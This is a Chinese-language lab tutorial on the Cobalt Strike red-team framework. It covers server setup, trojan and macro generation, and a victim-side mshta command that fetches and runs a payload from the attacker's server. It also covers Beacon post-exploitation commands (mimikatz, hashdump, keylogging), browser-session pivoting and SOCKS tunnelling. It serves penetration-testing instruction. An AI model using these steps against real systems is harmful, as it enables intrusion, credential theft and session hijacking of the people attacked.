0x00 簡介
Cobalt Strike是一款基於java的滲透測試神器,常被業界人稱為CS神器。自3.0以后已經不在使用Metasploit框架而作為一個獨立的平台使用,分為客戶端與服務端,服務端是一個,客戶端可以有多個,非常適合團隊協同作戰,多個攻擊者可以同時連接到一個團隊服務器上,共享攻擊資源與目標信息和sessions,可模擬APT做模擬對抗,進行內網滲透。
Cobalt Strike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,win exe木馬生成,win dll木馬生成,java木馬生成,office宏病毒生成,木馬捆綁;釣魚攻擊包括:站點克隆,目標信息獲取,java執行,瀏覽器自動攻擊等等。
0x01 目錄結構
一般Cobalt Strike目錄結構如下:
agscript 拓展應用的腳本
c2lint 用於檢查profile的錯誤異常
teamserver 服務端程序
cobaltstrike,cobaltstrike.jar客戶端程序(java跨平台)
license.pdf 許可證文件
logs 目錄記錄與目標主機的相關信息
update,update.jar用於更新CS
third-party 第三方工具
0x02 安裝運行
團隊服務器
團隊服務器最好運行在Linux平台上,服務端的關鍵文件是teamserver和cobaltstrike.jar,將這兩個文件放在同一目錄下運行:
./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] <host> 必需參數 團隊服務器IP <password> 必需參數 連接服務器的密碼 [/path/to/c2.profile] 可選參數 指定C2通信配置文件,體現其強大的擴展性 [YYYY-MM-DD] 可選參數 所有payload的終止時間
# 啟動Team Server
./teamserver 192.168.183.147 123456 # 設置強密碼,否則容易被爆破,參考附錄
PS:團隊服務器默認連接端口為50050,如果你想修改端口只需修改teamserver文件
客戶端
Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
Windows:雙擊cobaltstrike.exe
輸入服務端IP,端口默認50050,用戶名任意,密碼為之前設置的密碼,點擊connect。第一次連接會出現hash校驗,這里的hash等於前面的啟動teamserver時的hash,直接點擊‘是’即可連接到團隊服務器上。
0x02 參數詳情
Cobalt Strike
New Connection # 新建連接,支持連接多個服務器端
Preferences # 設置Cobal Strike界面、控制台、以及輸出報告樣式、TeamServer連接記錄
Visualization # 主要展示輸出結果的視圖
VPN Interfaces # 設置VPN接口
Listenrs # 創建監聽器
Script Manager # 腳本管理,可以通過AggressorScripts腳本來加強自身,能夠擴展菜單欄,Beacon命令行,提權腳本等
Close # 退出連接
View
Applications # 顯示受害主機的應用信息
Credentials # 顯示所有以獲取的受害主機的憑證,如hashdump、Mimikatz
Downloads # 查看已下載文件
Event Log # 主機上線記錄以及團隊協作聊天記錄
Keystrokes # 查看鍵盤記錄結果
Proxy Pivots # 查看代理模塊
Screenshots # 查看所有屏幕截圖
Script Console # 加載第三方腳本以增強功能
Targets # 顯示所有受害主機
Web Log # 所有Web服務的日志
Attacks
Packages
HTML Application # 生成(executable/VBA/powershell)這三種原理實現的惡意HTA木馬文件
MS Office Macro # 生成office宏病毒文件
Payload Generator # 生成各種語言版本的payload
USB/CD AutoPlay # 生成利用自動播放運行的木馬文件
Windows Dropper # 捆綁器能夠對任意的正常文件進行捆綁(免殺效果差)
Windows Executable # 生成可執行exe木馬
Windows Executable(Stageless) # 生成無狀態的可執行exe木馬
Web Drive-by
Manage # 對開啟的web服務進行管理
Clone Site # 克隆網站,可以記錄受害者提交的數據
Host File # 提供文件下載,可以選擇Mime類型
Scripted Web Delivery # 為payload提供web服務以便下載和執行,類似於Metasploit的web_delivery
Signed Applet Attack # 使用java自簽名的程序進行釣魚攻擊(該方法已過時)
Smart Applet Attack # 自動檢測java版本並進行攻擊,針對Java 1.6.0_45以下以及Java 1.7.0_21以下版本(該方法已過時)
System Profiler # 用來獲取系統信息,如系統版本,Flash版本,瀏覽器版本等
Spear Phish # 魚叉釣魚郵件
Reporting
Activity Report # 活動報告
Hosts Report # 主機報告
Indicators of Compromise # IOC報告:包括C2配置文件的流量分析、域名、IP和上傳文件的MD5 hashes
Sessions Report # 會話報告
Social Engineering Report # 社會工程報告:包括魚叉釣魚郵件及點擊記錄
Tactics, Techniques, and Procedures # 戰術技術及相關程序報告:包括行動對應的每種戰術的檢測策略和緩解策略
Reset Data # 重置數據
Export Data # 導出數據,導出.tsv文件格式
Help
Homepage # 官方主頁
Support # 技術支持
Arsenal # 開發者
System information # 版本信息
About # 關於
工具欄
1.新建連接
2.斷開當前連接
3.監聽器
4.改變視圖為Pivot Graph(視圖列表)
5.改變視圖為Session Table(會話列表)
6.改變視圖為Target Table(目標列表)
7.顯示所有以獲取的受害主機的憑證
8.查看已下載文件
9.查看鍵盤記錄結果
10.查看屏幕截圖
11.生成無狀態的可執行exe木馬
12.使用java自簽名的程序進行釣魚攻擊
13.生成office宏病毒文件
14.為payload提供web服務以便下載和執行
15.提供文件下載,可以選擇Mime類型
16.管理Cobalt Strike上運行的web服務
17.幫助
18.關於
0x03 基本流程
創建監聽器
點擊Cobalt Strike -> Listeners->Add,其中內置了九個Listener
indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
windows/beacon_http/reverse_http
windows/beacon_https/reverse_https
windows/beacon_smb/bind_pipe
windows/foreign/reverse_dns_txt
windows/foreign/reverse_http
windows/foreign/reverse_https
windows/foreign/reverse_tcp
其中windows/beacon為內置監聽器,包括dns、http、https、smb四種方式的監聽器;windows/foreign為外部監聽器,配合Metasploit或者Armitage的監聽器。
Name任意,選擇所需的payload,Host為本機IP,port為沒有被占用的任意端口
點擊save即創建成功
生成木馬
這里選擇其中一種攻擊方式作示范,后面再做詳細解釋:
點擊Attacks->Packages->HTML Application,選擇對應的監聽器,方法這里有三種(executable/VBA/powershell),選擇powershell,點擊Generate生成,選擇生成的路徑及文件名保存即可。
開啟web服務
點擊Attacks->Web Drive-by->Host File,選擇剛剛生成的木馬evil.hta,點擊Launch生成下載鏈接
運行木馬
打開受害機cmd,運行mshta命令。mshta.exe是微軟Windows操作系統相關程序,用於執行.HTA文件。
mshta http://192.168.183.147/download/file.ext
返回CS即可看到肉雞上線
選中受害機右擊,選擇interact,即可進行交互,由於受害機默認60秒進行一次回傳,為了實驗效果我們這里把時間設置成5,但實際中頻率不宜過快,容易被發現。
導出報告
點擊Reporting->Activity Report,導出默認PDF文檔
0x04 Beacon
當受害機上線以后,右擊選擇Interact,就可以打開Beacon Console
在beacon處輸入help可以看到命令說明
Beacon Commands
===============
Command Description
------- -----------
argue 進程參數欺騙
blockdlls 在子進程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者瀏覽器進程
bypassuac 繞過UAC
cancel 取消正在進行的下載
<span class="token function">cd</span> 切換目錄
checkin 強制讓被控端回連一次
<span class="token function">clear</span> 清除beacon內部的任務隊列
connect 通過TCP連接到Beacon
covertvpn 部署Covert VPN客戶端
<span class="token function">cp</span> 復制文件
dcsync 從DC中提取密碼哈希
desktop 遠程VNC
dllinject 反射DLL注入進程
dllload 使用LoadLibrary將DLL加載到進程中
download 下載文件
downloads 列出正在進行的文件下載
drives 列出目標盤符
elevate 嘗試提權
execute 在目標上執行程序<span class="token punctuation">(</span>無輸出<span class="token punctuation">)</span>
execute-assembly 在目標上內存中執行本地.NET程序
<span class="token keyword">exit</span> 退出beacon
getprivs 對當前令牌啟用系統權限
getsystem 嘗試獲取SYSTEM權限
getuid 獲取用戶ID
hashdump 轉儲密碼哈希值
<span class="token function">help</span> 幫助
inject 在特定進程中生成會話
jobkill 殺死一個后台任務
<span class="token function">jobs</span> 列出后台任務
kerberos_ccache_use 從ccache文件中導入票據應用於此會話
kerberos_ticket_purge 清除當前會話的票據
kerberos_ticket_use 從ticket文件中導入票據應用於此會話
keylogger 鍵盤記錄
<span class="token function">kill</span> 結束進程
<span class="token function">link</span> 通過命名管道連接到Beacon
logonpasswords 使用mimikatz轉儲憑據和哈希值
<span class="token function">ls</span> 列出文件
make_token 創建令牌以傳遞憑據
mimikatz 運行mimikatz
<span class="token function">mkdir</span> 創建一個目錄
mode dns 使用DNS A作為通信通道<span class="token punctuation">(</span>僅限DNS beacon<span class="token punctuation">)</span>
mode dns-txt 使用DNS TXT作為通信通道<span class="token punctuation">(</span>僅限D beacon<span class="token punctuation">)</span>
mode dns6 使用DNS AAAA作為通信通道<span class="token punctuation">(</span>僅限DNS beacon<span class="token punctuation">)</span>
mode http 使用HTTP作為通信通道
<span class="token function">mv</span> 移動文件
net net命令
note 給當前目標機器備注
portscan 進行端口掃描
powerpick 通過Unmanaged PowerShell執行命令
powershell 通過powershell.exe執行命令
powershell-import 導入powershell腳本
ppid 為生成的post-ex任務設置父PID
<span class="token function">ps</span> 顯示進程列表
psexec 使用服務在主機上生成會話
psexec_psh 使用PowerShell在主機上生成會話
psinject 在特定進程中執行PowerShell命令
pth 使用Mimikatz進行傳遞哈希
<span class="token function">pwd</span> 當前目錄位置
reg 查詢注冊表
rev2self 恢復原始令牌
<span class="token function">rm</span> 刪除文件或文件夾
rportfwd 端口轉發
run 在目標上執行程序<span class="token punctuation">(</span>返回輸出<span class="token punctuation">)</span>
runas 以另一個用戶權限執行程序
runasadmin 在高權限下執行程序
runu 在另一個PID下執行程序
screenshot 屏幕截圖
setenv 設置環境變量
shell cmd執行命令
shinject 將shellcode注入進程
shspawn 生成進程並將shellcode注入其中
<span class="token function">sleep</span> 設置睡眠延遲時間
socks 啟動SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一個會話
spawnas 以其他用戶身份生成會話
spawnto 將可執行程序注入進程
spawnu 在另一個PID下生成會話
<span class="token function">ssh</span> 使用ssh連接遠程主機
ssh-key 使用密鑰連接遠程主機
steal_token 從進程中竊取令牌
timestomp 將一個文件時間戳應用到另一個文件
unlink 斷開與Beacon的連接
upload 上傳文件
wdigest 使用mimikatz轉儲明文憑據
winrm 使用WinRM在主機上生成會話
wmi 使用WMI在主機上生成會話</code></pre>
可用help+命令的方式查看具體命令參數說明
beacon> help argue
Use: argue [command] [fake arguments]
argue [command]
argue
Spoof [fake arguments] for [command] processes launched by Beacon.
This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
Use argue [command] to disable this feature for the specified command.
Use argue by itself to list programs with defined spoofed arguments.
之前說過CS與受害機默認60s進行一次交互,為了方便實驗我們可以把時間設置為0
beacon>sleep 0
下面我就介紹一下幾個常用的命令
browserpivot
Browser Pivot是一個針對IE瀏覽器的技術,利用的是IE的cookie機制,Cobalt Strike通過IE注入進程以繼承用戶的已驗證Web會話,達到無需驗證登錄用戶訪問的網站。
假設受害者在通過IE瀏覽器登錄了網站后台

我們可以通過ps找到瀏覽器進程,然后通過命令進行注入
beacon> browserpivot 2600 x86

這里之所以選擇PID 2600是因為我們需要插入Internet Explorer以繼承用戶的已驗證Web會話。IE的新版本會為每個選項卡生成一個進程,我們必須將其插入子選項卡以繼承會話狀態。通常,子選項卡共享所有會話狀態。通過查看PPID值來標識IE子選項卡進程,當PPID引用explorer.exe時,該進程不是子選項卡;當PPID引用iexplore.exe時,該進程就是子選項卡。
當然這里也可以通過圖形界面注入,右擊選中Explore->Browser Pivot

然后瀏覽器設置代理

然后訪問受害者所訪問的網頁,發現無需登錄直接進入后台

Socks代理
開啟socks4a代理,通過代理進行內網滲透
開啟socks,可以通過命令,也可以通過右鍵Pivoting->SOCKS Server
beacon> socks 2222
[+] started SOCKS4a server on: 2222
[+] host called home, sent: 16 bytes
然后vim /etc/proxychains.conf
,在文件末尾添加socks4代理服務器

使用proxychains代理掃描內網主機
proxychains nmap -sP 192.168.183.0/24

我們還可以通過隧道將整個msf帶進目標內網
點擊View->Proxy Pivots,選擇Socks4a Proxy,點擊Tunnel:

setg Proxies socks4:192.168.183.147:2222
打開msf對內網進行掃描

關閉socks
beacon>socks stop
powershell-import
這個功能在后滲透測試中很有用,可以導入各種powershell滲透框架,如Nishang、PowerSploit攻擊框架
在beacon shell輸入powershell-import,導入已有的ps文件
beacon> powershell-import


關於具體有哪些命令可以操作可以查看一下相應ps文件
0x05 附錄
爆破cobalt strike密碼腳本:https://github.com/ryanohoro/csbruter

